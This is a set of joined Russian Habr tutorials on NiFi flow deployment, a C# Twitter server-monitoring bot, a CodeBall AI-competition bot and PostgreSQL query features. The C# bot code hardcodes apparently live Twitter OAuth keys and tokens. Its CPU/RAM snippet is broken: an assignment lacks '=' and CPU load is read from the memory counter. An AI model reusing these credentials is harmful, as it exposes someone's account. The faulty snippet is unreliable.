На момент написания публикации последняя версия NiFi — 1.9.2. Версия процессоров последней версии MiNiFi — 1.7.0. Процессоры можно добавлять в MiNiFi, но из-за расхождения версий между процессорами NiFi и MiNiFi это может не сработать.
NiFi CLI
========
Судя по [описанию](https://nifi.apache.org/docs/nifi-docs/html/toolkit-guide.html#nifi_CLI) инструмента на официальном сайте, это инструмент для автоматизации взаимодействия NiFI и NiFi Registry в области доставки flow или управления процессами. Для начала работы этот инструмент необходимо скачать [отсюда](https://nifi.apache.org/download.html).
Запускаем утилиту
```
./bin/cli.sh
_ ___ _
Apache (_) .' ..](_) ,
_ .--. __ _| |_ __ )\
[ `.-. | [ |'-| |-'[ | / \
| | | | | | | | | | ' '
[___||__][___][___] [___]', ,'
`'
CLI v1.9.2
Type 'help' to see a list of available commands, use tab to auto-complete.
```
Для того, чтобы нам подгрузить необходимый flow из registry, нам надо знать идентификаторы корзины (bucket identifier) и самого flow (flow identifier). Эти данные можно получить либо через cli, либо в веб-интерфейсе NiFi registry. В веб интерфейсе выглядит так:
С помощью CLI делается так:
```
#> registry list-buckets -u http://nifi-registry:18080
# Name Id Description
- -------------- ------------------------------------ -----------
1 test_bucket 709d387a-9ce9-4535-8546-3621efe38e96 (empty)
#> registry list-flows -b 709d387a-9ce9-4535-8546-3621efe38e96 -u http://nifi-registry:18080
# Name Id Description
- ------------ ------------------------------------ -----------
1 test_flow d27af00a-5b47-4910-89cd-9c664cd91e85
```
Запускаем импорт process group из registry:
```
#> nifi pg-import -b 709d387a-9ce9-4535-8546-3621efe38e96 -f d27af00a-5b47-4910-89cd-9c664cd91e85 -fv 1 -u http://nifi:8080
7f522a13-016e-1000-e504-d5b15587f2f3
```
Важный момент — в качестве хоста, на который мы накатываем process group может быть указан любой инстанс nifi.
Process group добавлен со стопнутыми процессорами, их надо запустить
```
#> nifi pg-start -pgid 7f522a13-016e-1000-e504-d5b15587f2f3 -u http://nifi:8080
```
Отлично, процессоры стартанули. Однако, нам по условиям задачи надо, чтобы инстансы NiFi отправляли данные на другие инстансы. Предположим, что для передачи данных на сервер выбрали способ Push. Для того, чтобы организовать передачу данных, надо на добавленном Remote Process Group (RPG), который уже включен в наш flow включить передачу данных (Enable transmitting).
В документации в CLI и других источниках я не нашел способа включить передачу данных. Если вы знаете как это сделать — напишите, пожалуйста, в комментариях.
Раз уж у нас bash и мы готовы идти до конца — найдем выход! Можно воспользоваться NiFi API для решения этой проблемы. Воспользуемся следующим методом, ID берем из примеров выше (в нашем случае это 7f522a13-016e-1000-e504-d5b15587f2f3). Описание методов NiFi API [тут](https://nifi.apache.org/docs/nifi-docs/rest-api/index.html).
В body надо передать JSON, следующего вида:
```
{
"revision": {
"clientId": "value",
"version": 0,
"lastModifier": "value"
},
"state": "value",
"disconnectedNodeAcknowledged": true
}
```
Параметры, которые надо заполнить, чтобы “заработало”:
**state** — статус передачи данных. Доступно TRANSMITTING для включения передачи данных, STOPPED для выключения
**version** — версия процессора
version по умолчанию будет 0 при создании, но эти параметры можно получить используя метод
Для любителей bash скриптов данный метод может показаться пригодным, но мне тяжеловато — bash скрипты не самое мое любимое. Следующий способ поинтереснее и поудобнее на мой взгляд.
NiPyAPI
=======
NiPyAPI — библиотека для языка Python для взаимодействия с инстансами NiFi. [Страница с документацией](https://nipyapi.readthedocs.io/en/latest/) содержит необходимую информацию для работы с библиотекой. Quick start описан в [проекте](https://github.com/Chaffelson/nipyapi) на github.
Наш скрипт для раскатки конфигурации — программка на языке Python. Переходим к кодингу.
Настраиваем конфиги для дальнейшей работы. Нам понадобятся следующие параметры:
```
nipyapi.config.nifi_config.host = 'http://nifi:8080/nifi-api' #путь до nifi-api инстанса, на котором разворачиваем process group
nipyapi.config.registry_config.host = 'http://nifi-registry:18080/nifi-registry-api' #путь до nifi-registry-api registry
nipyapi.config.registry_name = 'MyBeutifulRegistry' #название registry, как будет называться в инстансе nifi
nipyapi.config.bucket_name = 'BucketName' #название bucket, из которого подтягиваем flow
nipyapi.config.flow_name = 'FlowName' #название flow, которое подтягиваем
```
Дальше буду вставлять названия методов этой библиотеки, которые описаны [тут](https://nipyapi.readthedocs.io/en/latest/nipyapi-docs/nipyapi.html#client-sdk-modules).
Подключаем registry к инстансу nifi с помощью
```
nipyapi.versioning.create_registry_client
```
На этом шаге можно еще добавить проверку того, что registry уже к инстансу добавлен, для этого можно воспользоваться методом
```
nipyapi.versioning.list_registry_clients
```
Находим bucket для дальнейшего поиска flow в корзине
```
nipyapi.versioning.get_registry_bucket
```
По найденному bucket ищем flow
```
nipyapi.versioning.get_flow_in_bucket
```
Дальше важно понять а не добавлен ли уже этот process group. Process group размещается по координатам и может сложиться ситуация, когда поверх одного компонента наложится второй. Я проверял, такое может быть :) Чтобы получить все добавленные process group используем метод
```
nipyapi.canvas.list_all_process_groups
```
и дальше можем поискать, например по имени.
Я не буду описывать процесс обновления шаблона, скажу лишь, что если в новой версии шаблона процессоры добавляются, то проблем с наличием сообщений в очередях нет. А вот если процессоры удаляются, то проблемы могут возникнуть (nifi не дает удалять процессор, если перед ним скопилась очередь сообщений). Если вам интересно как я решил эту проблему — напишите мне, пожалуйста, обсудим этот момент. Контакты в конце статьи. Перейдем к шагу добавления process group.
При отладке скрипта я столкнулся с особенностью, что не всегда подтягивается последняя версия flow, поэтому рекомендую сначала эту версию уточнить:
```
nipyapi.versioning.get_latest_flow_ver
```
Деплоим process group:
```
nipyapi.versioning.deploy_flow_version
```
Запускаем процессоры:
```
nipyapi.canvas.schedule_process_group
```
В блоке про CLI было написано, что в remote process group автоматически не включается передача данных? При реализации скрипта я столкнулся с этой проблемой тоже. На тот момент, запустить передачу данных с помощью API у меня не получилось и я решил написать разработчику библиотеки NiPyAPI и спросить совета/помощи. Разработчик мне ответил, мы обсудили проблему и он написал, что ему надо время “проверить кое-что”. И вот, спустя пару дней приходит письмо, в котором написана функция на Python, решающая мою проблему запуска!!! На тот момент версия NiPyAPI была 0.13.3 и в ней, конечно же, ничего такого не было. А вот в версию 0.14.0, которая вышла совсем недавно, эта функция уже вошла в составе библиотеки. Встречайте,
```
nipyapi.canvas.set_remote_process_group_transmission
```
Итак, с помощью библиотеки NiPyAPI подключили registry, накатили flow и даже запустили процессоры и передачу данных. Дальше можно причесывать код, добавлять всевозможные проверки, логирование и вот это всё. Но это уже совсем другая история.
Из рассмотренных мною вариантов автоматизации последний мне показался самым работоспособным. Во-первых, это все же код на python, в который можно встраивать вспомогательный программный код и пользоваться всеми преимуществами языка программирования. Во-вторых, проект NiPyAPI активно развивается и в случае проблем можно написать разработчику. В-третьих, NiPyAPI все же более гибкий инструмент для взаимодействия с NiFi в решении сложных задач. Например, в определении того пустые ли очереди сообщений сейчас в flow и можно ли обновлять process group.
На этом все. Я описал 3 подхода к автоматизации доставки flow в NiFi, подводные камни, с которыми может столкнуться разработчик и привел рабочий код для автоматизации доставки. Если вас так же, как и меня интересует эта тема — [пишите!](mailto:bistdim@gmail.com) | https://habr.com/ru/post/476722/ | null | ru | null |
# Twitter бот на C#
Здравствуйте, уважаемые пользователи Хабрахабра.
В этой статье я хочу рассказать вам об очень простом и полезном боте для Twitter, который поможет контролировать состояние Windows-сервера (Занятое место на дисках, процент загрузки CPU, RAM).
#### Предисловие
Я работаю системным администратором на одном консервном заводе. Так как фирма не профильная, приходится быть администратором и программистом в одном лице.
Причина создания этого бота — быстро заканчивающееся место на жестком диске сервера из-за ежедневных резервных копий баз 1С.
Я долго размышлял о возможных вариантах подобного контроля и пришёл к выводу, что Твиттер самое удобное решение для этого. Итак, от слова к делу.
#### Подготовка
Так как писать бота будем на C#, нам понадобится:
1. Microsoft Visual Studio 2008-2010 любая редакция (или SharpDevelop 3.2 — 4.x)
2. Библиотека Twitterizer для работы с Twitter в .NET Framework
3. Немного терпения
#### Разработка
Скачиваем с сайта разработчика библиотеку и распаковываем её содержимое в каталог с нашим проектом. Нам нужны только два файла — **Twitterizer2.dll** и **Newtonsoft.Json.dll**. Добавим библиотеку Twitterizer в наш проект. Правая кнопка мыши по проекту -> Add Reference Выбираем вкладку «Browse» и указываем путь к **Twitterizer2.dll**.
Добавляем в код главной формы
```
using Twitterizer;
```
Теперь можно перейти непосредственно к работе с Твиттером.
Зарегистрируем наше приложение. Об этом хорошо написал [thevar1able](http://habrahabr.ru/users/thevar1able/) в [своей статье](http://habrahabr.ru/blogs/python/127237/) о Python боте.
Нам будут нужны 4 ключа: **Consumer key**, **Consumer secret**, **Access token** и **Access token secret**.
Все действия сводятся к отправке нужной нам информации в виде твита.
```
private bool SendTwit(string Twit)
{
OAuthTokens tokens = new OAuthTokens(); // Создаём объект класса
tokens.ConsumerKey = "xAWDWV5YE1F5gz3pHw"; //Ввводим Consumer Key
//Вводим Consumer Secret
tokens.ConsumerSecret = "iSoQ5lYl24BolEdjTte0wnPN4KX9WuGGzJgJivg";
//Вводим AccessToken
tokens.AccessToken = "370065603-6mRJ8vNHb6tFCKKQhQNxkVR0uy7kK7dFbt2UN";
//Вводим Access Token Secret
tokens.AccessTokenSecret = "zYT39d8K8SQEm7OxUt1BUCpIZi0VixKElb9go0w";
//Отправляем сообщение в твиттер
TwitterResponse tweetResponse = TwitterStatus.Update(tokens, Twit );
if (tweetResponse.Result == RequestResult.Success) //Проверка отправки
{
return true; //Сообщение отправилось
}
else
{
return false; //Сообщение не отправилось
}
}
```
Информацию о процессоре и оперативной памяти можно получить с помощью класса PerformanceCounter, который находится в пространстве имён System.Diagnostics.
```
private PerformanceCounter cpuCounter; //Создаём объекты для чтения данных о процессоре
private PerformanceCounter ramCounter; //и оперативной памяти
cpuCounter = new PerformanceCounter(); //Инициализируем
// Добавляем счетчик производительности ОЗУ
ramCounter = new PerformanceCounter("Memory","Available MBytes");
cpuCounter.CategoryName = "Processor"; //Добавляем
cpuCounter.CounterName = "% Processor Time"; //счетчик производительности
cpuCounter.InstanceName = "_Total"; //процессора
float RAMFree ramCounter.NextValue(); //Получаем количество ОЗУ в мегабайтах
float CPULoad ramCounter.NextValue(); //Получаем процент загрузки процессора
```
В результате у нас получилось нечто подобное:
[Оригинал](https://habrastorage.org/getpro/habr/post_images/565/98c/7d5/56598c7d5e13816a4e7ed849086d4c24.jpg)
В окне настроек можно выбрать интервал обновления статуса (1, 10, 15, 30, 60 минут). В Твиттер будут отправляться данные, отмеченные галочками, в список ниже выводится дата и время отправки твита, статус отправки и количество символов в сообщении.
#### Заключение
В дальнейшем планируется реализовать следующие возможности:
1. Отправка более подробной информации через Direct Message
2. Управление ботом с помощью Direct Message и Mentinos
3. Сохранение настроек
4. Ведение логов
Вот возможности, которые будут реализованы в следующей версии бота.
Спасибо всем за внимание, надеюсь всем было интересно. Желаю творческих успехов!
#### Ссылки
[Исходники программы](http://dl.dropbox.com/u/17188051/controlbot_source.zip)
[Сайт разработчика Twitterizer](http://www.twitterizer.net/)
[Документация по Twitterizer на сайте разработчика](http://www.twitterizer.net/documentation/) | https://habr.com/ru/post/128422/ | null | ru | null |
# Создание бота для участия в Russian AI Cup 2018 CodeBall
Сложилась традиция, что после соревнований по спортивному программированию победитель или просто игрок выкладывает на Хабре статью, чтобы рассказать как здорово было участвовать в соревновании и как вариант победить в нем. Из его статьи конечно же многое можно почерпнуть для будущих соревнований.
Но вот про участие в текущем соревновании на стадии бета тестирования думаю статей мало, понятно, что нельзя публиковать код решения, неизвестно еще как хорошо это решение и вообще много еще неизвестно, ведь сейчас по сути только начало турнира, но в этом и прелесть. Автор дает читателю шанс заскочить на отправляющийся поезд и насладиться новогодней поездкой в мир игровых стратегий.
Во-первых, спасибо, что открыли статью, сразу хочу поделиться секретом: это будет цикл статей, в котором надеюсь затронем и генетические алгоритмы и нейронные сети. А пока как уже написал выше добро пожаловать в путешествие по Russian AI Cup CodeBall.
[Ссылка на страницу быстрого старта чемпионата.](http://russianaicup.ru/p/quick#%D0%BF%D1%80%D0%BE%D1%87%D0%B8%D1%82%D0%B0%D0%B9%D1%82%D0%B5-%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D1%86%D0%B8%D1%8E)
По вышеуказанной ссылке читатель сможет найти правила чемпионата, правила самой игры и основную часть математического аппарата необходимого для создания бота. Так же на странице быстрого старта есть примеры уже написанных ботов для различных языков программирования, что сильно облегчает начальный старт.
Начнем с простого, с названия чемпионата CodeBall.
Приятное сочетание слов code и ball, почти football. Правила и логика игры тоже похожи на футбол, но с каждым раундом усложняются/ поэтому за основу возьмем начальные условия проведения игр.
Суть игры как говорилось в недавней песне: игроки должны забивать, а вратарь отбивать мячи.
Схематично игровое поле:
Обращаю внимание, что боты двигаются в плоскости пола арены XZ, ось Y отвечает за высоту игрового объекта.
Также схематично объекты игры (мяч и боты(организаторы их называют роботы))
Теперь немного текста в поддержку картинок. Игровое поле это трехмерное замкнутое пространство, ни мяч ни боты не могут выйти за его пределы. В этом пространстве существуют две области «ворота» при попадании в которые мяч считается забитым одним из игроков. Для того чтобы гол засчитали, нужно чтобы мяч полностью оказался за линий ворот (на рисунке указана пунктиром).
Для упрощения расчетов столкновений (коллизий) игровых объектов (арена, мяч, боты) боты и мяч считают идеальными сферами (шарами), которые описываются следующими величинами: радиус сферы, координата центра сферы, масса, скорость. Арена также описывается идеальными математическими примитивами, так что расчет столкновений обходится без участия полигонов, что сильно упрощает задачу. Если пролистать правила чемпионата до конца, то там читатель обнаружит программу на псевдокоде, которая как и раз и отвечает за вышеуказанные расчеты. Данный псевдокод после небольших физических усилий переводится на выбранный вами язык программирования и является вполне работоспособным. Но об этом немного позже.
Еще пару слов о физике игрового мира. Для придания достоверности происходящего на арене, введена гравитация, то есть на ботов и мяч постоянно действует сила гравитации направленная вниз относительно пола арены. Остальными формами физического взаимодействия такими как трение или угловые скорости(вращение) объектов организаторы пренебрегли в пользу простоты описания физического мира. При ударе о стенки арены мяч теряет часть энергии, но это не сильно усложняет мир и вполне понятно со стороны, нет возможности создать вечный двигатель в виде мяча.
Чтобы мир казался еще более правдоподобным применена схема расчетов с Тиками и Микротиками. В [первой своей статье](https://habr.com/post/417311/) автор подробно останавливался на понятии Тика игрового времени. В данном соревновании мы можем посмотреть на физический движок в исходных кодах, как уже говорил он нам пригодится в будущем, и обнаружить что для игроков существуют Тики, а внутри движка все происходит в Микротиках, по умолчанию 100 микротиков в одном тике, что дает возможность точнее описывать коллизии объектов и избегать таких неприятных вещей как провал объектов за пределы арены или провал объектов друг в друга приводящие к ошибкам во взаимодействии между ними.
С миром(ареной) и игровым временем вроде разобрались, посмотрим на игровые объекты: боты и мяч. Мяч мы уже выше выяснили из правил соревнования является сферой. Если быть кратким, то бот это мяч меньшего радиуса и большей массы, которому можно отдавать команды: указать желаемую скорость(это трехмерный вектор содержащий как направление, так и длину или величину скорости) и силу прыжка, если прыжок в данный момент целесообразен с точки зрения логики игры. На данном этапе соревнований введено упрощение, что если бот находится в полете(не касается стенок арены), то у него нет возможности исполнять команды по изменению скорости.
Перейдем к самому трудному или наоборот простому, все зависит от опыта читателя в работе с трехмерными векторами. Описанию местоположения игровых объектов. Картинка в поддержку
Приступим к ботостроению.
На каждом игровом тике, ваша стратегия будет получать следующие объекты:
Мяч:
```
class Ball:
x: Float // Текущие координаты центра мяча
y: Float
z: Float
velocity_x: Float // Текущая скорость мяча
velocity_y: Float
velocity_z: Float
radius: Float // Радиус мяча
```
и список ботов, с данными по каждому боту:
```
class Robot:
id: Int
player_id: Int
is_teammate: Bool // true, если это робот вашего игрока
x: Float // Текущие координаты центра робота
y: Float
z: Float
velocity_x: Float // Текущая скорость робота
velocity_y: Float
velocity_z: Float
radius: Float // Текущий радиус робота
nitro_amount: Float // Текущий запас нитро робота
touch: bool // true, если робот сейчас касается арены
touch_normal_x: Float // Вектор нормали к точке соприкосновения с ареной
touch_normal_y: Float (или null, если нет касания)
touch_normal_z: Float
```
сразу видно что с этими данными неудобно работать, желательно ввести класс(объект) 3D вектор и класс 2D вектор. Здесь многое будет зависеть от языка программирования выбранного вами. Обычно эти классы уже написаны и легко находятся в интернете для нужного языка программирования. Автор сейчас пишет бота на c++, но постарается ограничиться псевдокодом. Если ввести полноценные классы векторов, по операции по сложению, вычитанию, умножению, нормализации и другие векторные операции останутся внутри класса, что сильно упростит работу над стратегией.
Еще есть класс игрока, который указывает какие боты из списка ваши, какие противника:
```
class Player:
id: Int
me: Bool // true, если это объект вашего игрока
strategy_crashed: Bool
score: Int // Текущий счет игрока
```
После передачи данных об игровом мире на вход вашей стратегии, игровой движок отдает вам управление и запускает таймер времени для расчетов, время на расчеты ограничено, в среднем около 20 миллисекунд на все действия внутри тика. Есть подозрение, что в это время входит и время на десериализацию поступивших данных и [сериализацию](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%80%D0%B8%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) отправляемых вашей стратегией данных на сервер. Но так как количество ботов 4 (2 ваших и 2 противника, далее в финальном раунде общее количество ботов увеличится до 6) временем на эти операции можно пренебречь.
Пришло время команд.
Например, мы хотим дать боту команду двигаться в сторону мяча. Для нахождения нужного вектора направления скорости надо из позиции мяча вычесть позицию бота, получаем вектор направления на мяч, далее его можно нормализовать и умножить на максимальную скорость движения бота из констант мира. На картинке подробнее
Наверное читатель заметил на слайде что расчеты можно проводить как для 3D векторов, так и для 2D векторов. Если учесть тот факт, что бот большее время проводит на плоскости пола арены, то упрощение расчетов до двух координат не скажется сильно на точность расчетов по перехвату мяча. Конечно про высоту мяча не надо забывать, но с учетом гравитации он рано или поздно опустится к боту.
Прыжок бота, это добавление скорости по вертикали(вертикальной скорости), направление прыжка бота будет совпадать с направлением текущей скорости бота с добавлением составляющей по оси Y.
Если к вышеуказанным словам добавить более сложную логику движения, то можно получить следующее поведение ботов:
[Сейчас на сайте](http://russianaicup.ru/) действует песочница, где можно посмотреть игры, но ничего не сравнится по ощущениям, если вы напишите свою стратегию и будете следить за ее играми. Экспериментально установлено, что даже самая простая состоящая из нескольких десятков строк кода стратегия вполне может неплохо играть.
Из простых форм стратегий приходящих на ум, стратегия по выделению одного бота для защиты ворот, второго бота сделать нападающим. Основная задача нападающего это преследование мяча и при удачном положении удар в сторону ворот противника. Бот играющий за вратаря, обычно ограничен в своих перемещениях по полю, и в основном действует в зоне ворот. Все эти вещи легко описываются с помощью if-else конструкций выбранного вами языка. В любом случае придумывать и создавать стратегию на данном этапе придется тебе мой читатель. По условиям конкурса нельзя публиковать исходные коды стратегии. Но обсудить подходы к проектированию стратегии думаю не запрещается.
Как мне кажется организаторы конкурса выбрали интересную тему для турнира, единственное сайт немного тормозит, но надеюсь скоро это исправят.
немного красивых игровых моментов от участника чемпионата:
Жду откликов в комментариях касательно статьи, на чем остановиться более подробно.
В следующей статье попробую описать методы по прогнозированию поведения мяча во времени для более осмысленной игры ботов в вашей стратегии.
А пока поздравляю с наступающим Новым 2019 Годом!
Продолжение следует. | https://habr.com/ru/post/434838/ | null | ru | null |
# Охватывающий SQL в Postgres
Одна вещь, которая заставляет меня смотреть со стороны на ORM, как они так стараются скрыть и абстрагировать все силу и выразительность SQL. Прежде чем я напишу дальше, позвольте мне сказать что, [Frans Bouma](https://twitter.com/fransbouma) напомнил мне вчера, что есть разница между ORM и людьми, которые их используют. Это всего лишь инструменты (в ORM) и я с этим согласен, так же я согласен, что не плохой фастфуд делает людей полными, а это люди, которые едят его слишком много.
Вместо того чтобы, ругать ORM я хотел бы рассказать вам, почему я не использую ОО абстракцию в основании моей базы данных. Если коротко: потому что SQL может вам сильно помочь выразить значение вашего приложения с точки зрения данных. Единственный способ знать как работает ваше приложение это знать по каким данным оно генерируется.
Попробуйте уделить его изучению немного времени, и вы увидите как в работе ваш любимый DB движок подчеркивает SQL стандарт. Давайте посмотрим на некоторые примеры, весь функционал который я использую описан [здесь](http://www.postgresql.org/docs/9.4/static/functions.html), в документации есть много вещей, которые вы можете узнать, мои примеры ниже, но это только часть функционала который я использую.
Postgres Built-in Fun
=====================
С самого начала в Postgres много синтаксического сахара и с ним действительно очень весело. SQL это ANSI стандартизованные языки – это означает что вы можете рассчитывать на некоторые правила при переходе от одной системы в другую. Postgres следует стандартам почти до буквы, но выходит за рамки с очень забавными дополнениями.
Регулярные выражения
====================
В какой то момент вам возможно придется запустить некоторую цепочку алгоритмов. Многие базы данных включая [SQL сервер](https://msdn.microsoft.com/en-us/magazine/cc163473.aspx) (извините за ссылку на MSDN) позволяют использовать Regex паттерны через функции или другие некоторые конструкции. С Posters работать одно удовольствие. Простой способ (используя PSQL для старой Takepub базы данных):
```
select sku,title from products where title ~* 'master';
sku | title
------------+---------------------------------
aspnet4 | Mastering ASP.NET 4.0
wp7 | Mastering Windows Phone 7
hg | Mastering Mercurial
linq | Mastering Linq
git | Mastering Git
ef | Mastering Entity Framework 4.0
ag | Mastering Silverlight 4.0
jquery | Mastering jQuery
csharp4 | Mastering C# 4.0 with Jon Skeet
nhibernate | Mastering NHibernate 2
(10 rows)
```
Оператор ~\* говорит: что за ним идет шаблон регулярного выражения POSIX (без учета регистра)
Вы можете сделать это с учетом регистра, опуская \*.
Регулярные выражения могут вызывать боль в работе, но вы бы могли улучшить этот запрос используя функции для полнотекстового поиска с использованием индексов:
```
select products.sku,
products.title
from products
where to_tsvector(title) @@ to_tsquery('Mastering');
sku | title
------------+---------------------------------
aspnet4 | Mastering ASP.NET 4.0
wp7 | Mastering Windows Phone 7
hg | Mastering Mercurial
linq | Mastering Linq
git | Mastering Git
ef | Mastering Entity Framework 4.0
ag | Mastering Silverlight 4.0
jquery | Mastering jQuery
csharp4 | Mastering C# 4.0 with Jon Skeet
nhibernate | Mastering NHibernate 2
(10 rows)
```
Но это немного сложнее. Postgres имеет тип поля, использующий полнотекстовый поиск tsvector. Вы можете даже иметь эту колонку в таблице, если захотите и это здорово, так как это не спрятано в каком то бинарном индексе где-нибудь. Я конвертировал title налету в tsvector, используя функцию to\_tsvector. Она разбивает и подготавливает строку к поиску. Я показываю это через to\_tsquery функцию. Этот запрос строиться из термина «Mastering». Биты @@ просто говорят возвратить true, если tsvector поля соответствуют tsquery. Синтаксис немного режет глаз, но работает очень хорошо и быстро. Вы можете использовать concat функцию для объединения строк вместе с дополнительными полями:
```
select products.sku,
products.title
from products
where to_tsvector(concat(title,' ',description)) @@ to_tsquery('Mastering');
sku | title
------------+---------------------------------
aspnet4 | Mastering ASP.NET 4.0
wp7 | Mastering Windows Phone 7
hg | Mastering Mercurial
linq | Mastering Linq
git | Mastering Git
ef | Mastering Entity Framework 4.0
ag | Mastering Silverlight 4.0
jquery | Mastering jQuery
csharp4 | Mastering C# 4.0 with Jon Skeet
nhibernate | Mastering NHibernate 2
(10 rows)
```
Объединение title и description в одну область позволяет вам искать их в то же время, используя все возможности [полнотекстового поиска](http://www.postgresql.org/docs/9.4/static/textsearch.html).
Генерация cерий
===============
Есть хорошая функция generate\_series, выводящая последовательность, которую вы можете использовать в запросах по разным причинам:
```
select * from generate_series(1,10);
generate_series
-----------------
1
2
3
4
5
6
7
8
9
10
```
Если последовательные функции вам не подходят вы можете использовать другие функции типа random():
```
select * from generate_series(1,10,2)
order by random();
generate_series
-----------------
3
5
7
1
9
(5 rows)
```
Здесь я добавил дополнительный аргумент, говоря о пропуске значений по 2. Она так же работает с датами:
```
select * from generate_series(
'2014-01-01'::timestamp,
'2014-12-01'::timestamp,
'42 days');
generate_series
---------------------
2014-01-01 00:00:00
2014-02-12 00:00:00
2014-03-26 00:00:00
2014-05-07 00:00:00
2014-06-18 00:00:00
2014-07-30 00:00:00
2014-09-10 00:00:00
2014-10-22 00:00:00
(8 rows)
```
Я говорю о датах 2014 года с интервалом в 42 дня. Вы можете сделать это в обратном направлении, просто используя отрицательный интервал. Почему это полезно? Вы можете использовать alias и подключить номера от генерируемых серий, смотря что будете считать:
```
select x as first_of_the_month
from generate_series('2014-01-01'::timestamp,'2014-12-01'::timestamp,'1 month') as f(x); first_of_the_month
---------------------
2014-01-01 00:00:00
2014-02-01 00:00:00
2014-03-01 00:00:00
2014-04-01 00:00:00
2014-05-01 00:00:00
2014-06-01 00:00:00
2014-07-01 00:00:00
2014-08-01 00:00:00
2014-09-01 00:00:00
2014-10-01 00:00:00
2014-11-01 00:00:00
2014-12-01 00:00:00
(12 rows)
```
Alias функции позволяют вам использовать результат строки в соответствии с SQL вызовом.
Такие вещи удобно использовать для аналитики и проверки ваших данных. Кроме того обратите внимание на спецификацию month. Это интервал Postgres — то, что вы будите использовать часто в запросах.
Работа с датами
===============
Интервалы это хорошее сочетание для работы с датами в Postgres. Для примера, если вы сегодня хотите знать дату которая будет через неделю:
```
select '1 week' + now() as a_week_from_now;
a_week_from_now
-------------------------------
2015-03-03 10:08:12.156656+01
(1 row)
```
Postgres видит **now ()** как timestamp и использует оператор (**+**) чтобы преобразовать в строку '1 week' как интервал. Результат *12015-05-06 17:59:30.587874* получился интересным.
Это скажет мне текущую дату и время вплоть до миллисекунды. И также таймзону (+1 которая сейчас в Италии ) Если вы когда либо боролись с датами в UTC, то знаете что это большая боль. Postgres имеет встроенный timestamptz тип – данных (представляющий метку с часовым поясом) конвертация будет проходить автоматически когда будет производиться расчет даты.
Для примера я хочу спросить у Postgres какое время в Калифорнии:
```
SELECT now() AT TIME ZONE 'PDT' as cali_time;
cali_time
----------------------------
2015-02-24 02:16:57.884518
(1 row)
```
Возвращает interval разницы между двумя timesamp. В часа 2 утра лучше не звонить Jon Galloway чтобы сказать, что его SQL сервер горит в огне. Посмотрим как много часов между мной и Джоном:
```
select now() - now() at time zone 'PDT' as cali_diff;
cali_diff
-----------
08:00:00
(1 row)
```
Обратите внимание, возвращающее значение с отметкой 8 часов, которое не является целым. Почему это важно Время вещь относительная, очень важно знать часовой пояс вашего сервера, когда вы высчитываете данные в зависимости от времени. Для примера в моей Takepub базе я записывал когда были размещены заказы. Если 20 заказов приходили под конец года, моему бухгалтеру хотелось знать, какие заказы пришли раньше или позже 1 Января 2013 года. Мой сервер находиться в Нью Йорке моя компания зарегистрирована на Гавайях.
Эти важные вещи в Postgres: обработчики и многие другие функции для работы с датами довольно приятны.
Агрегация
=========
Работа с накоплением и агрегацией в Postgres может быть утомительной потому что это очень и очень соответствует стандартам. Вы всегда можете быть уверенными в неважности GROUP BY в вашем SELECT выражении. Если вы хотите посмотреть продажи за месяц, сгруппированных за неделю вы нуждаетесь в запуске следующих запросов:
```
select sku, sum(price),
date_part('month',created_at) from invoice_items
group by sku,date_part('month',created_at)
having date_part('month',created_at) = 9
```
Это немного экстремальный синтаксис, пользуйтесь лучше будущем Postgres — оконными функциями:
```
select distinct sku, sum(price) OVER (PARTITION BY sku)
from invoice_items
where date_part('month',created_at) = 9
```
Те же данные, но лишнего меньше (оконные функции также доступны на SQL сервере).
Здесь я делаю набор на основе расчетов, указав что я хочу запустить функцию SUM над разделом данных для данной строки. Если не указать DISTINCT здесь запрос выдал бы все продажи как будто мы просто указали SELECT запрос.
Прекрасная возможность использования оконных функция вместе с агрегирующими:
```
select distinct sku, sum(price) OVER (PARTITION BY sku) as revenue,
count(1) OVER (PARTITION BY sku) as sales_count
from invoice_items
where date_part('month',created_at) = 9
```
Дает мне количество ежемесячных продаж рассчитанных по полю sku и доходы. Я также могу вывести общий объем продаж в месяц в следующей колонке:
```
select distinct sku,
sum(price) OVER (PARTITION BY sku) as revenue,
count(1) OVER (PARTITION BY sku) as sales_count,
sum(price) OVER (PARTITION by 0) as sales_total
from invoice_items
where date_part('month',created_at) = 9
```
Я использую PARTITTION BY 0, тем самым говоря, что нужно использовать “весь набор раздела” это выведет все продажи в сентябре… И объединим это включение в CTE ([a Common Table Expression](http://rob.conery.io/2015/02/09/inserting-using-new-record-postgres/) ) я могу запускать некоторые интересные вычисления:
```
with september_sales as (
select distinct sku,
sum(price) OVER (PARTITION BY sku) as revenue,
count(1) OVER (PARTITION BY sku) as sales_count,
sum(price) OVER (PARTITION by 0) as sales_total
from invoice_items
where date_part('month',created_at) = 9
)
select sku,
revenue::money,
sales_count,
sales_total::money,
trunc((revenue/sales_total * 100),4) as percentage
from september_sales
```
В финальном select выберем поля revenue и sales\_total как тип money – будет красиво отформатировано с символом валюты. Довольно всеобъемлющий запрос продаж – я получаю общий sku, количество продаж и проценты от продаж в месяц, получается довольно простой SQL. Я использую trunc CTE, чтобы округлить до 4-значных цифр, так как результат в процентах может быть достаточно длинными.
Строки
======
Я показывал вам некоторые прелести над Regex. Но гораздо больше вы можете сделать над строками в Postgres. Рассмотрим запрос, который я использую довольно часто:
```
select products.sku,
products.title,
downloads.list_order,
downloads.title as episode
from products
inner join downloads on downloads.product_id = products.id
order by products.sku, downloads.list_order;
```
Запрос получает все мои видео и индивидуальные эпизоды (так называемые загрузки) я мог бы использовать этот запрос на страницах, которые отображаются пользователю. Но что если вы хотите суммировать эпизоды? Я могу использовать некоторые агрегирующие функции для этого. Простейший пример – строка названия, разделенная запятыми:
```
select products.sku,
products.title,
string_agg(downloads.title, ', ') as downloads
from products
inner join downloads on downloads.product_id = products.id
group by products.sku, products.title
order by products.sku
```
string\_agg работает как String.join() в вашем любимом языке. Но мы можем сделать лучше, объединив через concat а потом уже в массив:
```
select products.sku,
products.title,
array_agg(concat(downloads.list_order,') ',downloads.title)) as downloads
from products
inner join downloads on downloads.product_id = products.id
group by products.sku, products.title
order by products.sku
```
Здесь я использую array\_agg вытягивающий данные из list\_order и title для объединения загрузок в таблицу и на выходе получается массив.
Я использую concat функцию для объединения list\_order.
Если вы используете Node.Js на выходе вы можете сразу пробежаться по нему итератором.
Также используя Node, вы можете использовать JSON:
```
select products.sku,
products.title,
json_agg(downloads) as downloads
from products
inner join downloads on downloads.product_id = products.id
group by products.sku, products.title
order by products.sku
```
